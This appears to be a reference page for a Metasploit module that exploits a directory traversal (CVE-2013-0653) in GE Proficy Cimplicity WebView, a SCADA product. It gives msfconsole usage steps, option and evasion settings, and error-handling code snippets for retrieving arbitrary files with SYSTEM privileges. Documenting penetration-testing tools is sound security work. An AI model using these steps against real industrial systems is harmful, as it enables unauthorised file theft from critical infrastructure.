GE Proficy Cimplicity WebView substitute.bcl Directory Traversal - Metasploit


This page contains detailed information about how to use the auxiliary/admin/scada/ge_proficy_substitute_traversal metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: GE Proficy Cimplicity WebView substitute.bcl Directory Traversal
Module: auxiliary/admin/scada/ge_proficy_substitute_traversal
Source code: modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb
Disclosure date: 2013-01-22
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 80
List of CVEs: CVE-2013-0653

This module abuses a directory traversal in GE Proficy Cimplicity, specifically on the gefebt.exe component used by the WebView, in order to retrieve arbitrary files with SYSTEM privileges. This module has been tested successfully on GE Proficy Cimplicity 7.5.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/scada/ge_proficy_substitute_traversal
msf auxiliary(ge_proficy_substitute_traversal) > show targets
    ... a list of targets ...
msf auxiliary(ge_proficy_substitute_traversal) > set TARGET target-id
msf auxiliary(ge_proficy_substitute_traversal) > show options
    ... show and set options ...
msf auxiliary(ge_proficy_substitute_traversal) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the admin/scada/ge_proficy_substitute_traversal auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/scada/ge_proficy_substitute_traversal

msf6 auxiliary(admin/scada/ge_proficy_substitute_traversal) > show info

       Name: GE Proficy Cimplicity WebView substitute.bcl Directory Traversal
     Module: auxiliary/admin/scada/ge_proficy_substitute_traversal
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-01-22

Provided by:
  Unknown
  juan vazquez <[email protected]>

Check supported:
  No

Basic options:
  Name       Current Setting   Required  Description
  ----       ---------------   --------  -----------
  DEPTH      5                 yes       Traversal depth
  FILEPATH   /windows\win.ini  yes       The name of the file to download
  RHOSTS                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      80                yes       The target port (TCP)
  TARGETURI  /CimWeb           yes       Path to CimWeb

Description:
  This module abuses a directory traversal in GE Proficy Cimplicity, 
  specifically on the gefebt.exe component used by the WebView, in 
  order to retrieve arbitrary files with SYSTEM privileges. This 
  module has been tested successfully on GE Proficy Cimplicity 7.5.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2013-0653
  OSVDB (89490)
  http://www.securityfocus.com/bid/57505
  http://ics-cert.us-cert.gov/advisories/ICSA-13-022-02

Module Options


This is a complete list of options available in the admin/scada/ge_proficy_substitute_traversal auxiliary module:

msf6 auxiliary(admin/scada/ge_proficy_substitute_traversal) > show options

Module options (auxiliary/admin/scada/ge_proficy_substitute_traversal):

   Name       Current Setting   Required  Description
   ----       ---------------   --------  -----------
   DEPTH      5                 yes       Traversal depth
   FILEPATH   /windows\win.ini  yes       The name of the file to download
   RHOSTS                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80                yes       The target port (TCP)
   TARGETURI  /CimWeb           yes       Path to CimWeb

Advanced Options


Here is a complete list of advanced options supported by the admin/scada/ge_proficy_substitute_traversal auxiliary module:

msf6 auxiliary(admin/scada/ge_proficy_substitute_traversal) > show advanced

Module advanced options (auxiliary/admin/scada/ge_proficy_substitute_traversal):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/scada/ge_proficy_substitute_traversal module can do:

msf6 auxiliary(admin/scada/ge_proficy_substitute_traversal) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/scada/ge_proficy_substitute_traversal auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/scada/ge_proficy_substitute_traversal) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Invalid URI: <VALUE>


Here is a relevant code snippet related to the "Invalid URI: <VALUE>" error message:

60:	      # In case TARGETURI is empty, at least we default to '/'
61:	      u = datastore['TARGETURI']
62:	      u = "/" if u.nil? or u.empty?
63:	      URI(u)
64:	    rescue ::URI::InvalidURIError
65:	      print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
66:	      raise Msf::OptionValidateError.new(['TARGETURI'])
67:	    end
68:	  end
69:	
70:	  def my_basename(filename)

TARGETURI


Here is a relevant code snippet related to the "TARGETURI" error message:

61:	      u = datastore['TARGETURI']
62:	      u = "/" if u.nil? or u.empty?
63:	      URI(u)
64:	    rescue ::URI::InvalidURIError
65:	      print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
66:	      raise Msf::OptionValidateError.new(['TARGETURI'])
67:	    end
68:	  end
69:	
70:	  def my_basename(filename)
71:	    return ::File.basename(filename.gsub(/\\/, "/"))

<PEER> - GE proficy not found


Here is a relevant code snippet related to the "<PEER> - GE proficy not found" error message:

114:	
115:	    print_status("#{@peer} - Checking if it's a GE Proficy Application...")
116:	    if is_proficy?
117:	      print_good("#{@peer} - Check successful")
118:	    else
119:	      print_error("#{@peer} - GE proficy not found")
120:	      return
121:	    end
122:	
123:	    contents = read_file(datastore['FILEPATH'])
124:	    if contents.nil?

<PEER> - File not downloaded


Here is a relevant code snippet related to the "<PEER> - File not downloaded" error message:

120:	      return
121:	    end
122:	
123:	    contents = read_file(datastore['FILEPATH'])
124:	    if contents.nil?
125:	      print_error("#{@peer} - File not downloaded")
126:	      return
127:	    end
128:	
129:	    file_name = my_basename(datastore['FILEPATH'])
130:	    path = store_loot(

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Unknown
  • juan vazquez

Version


This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.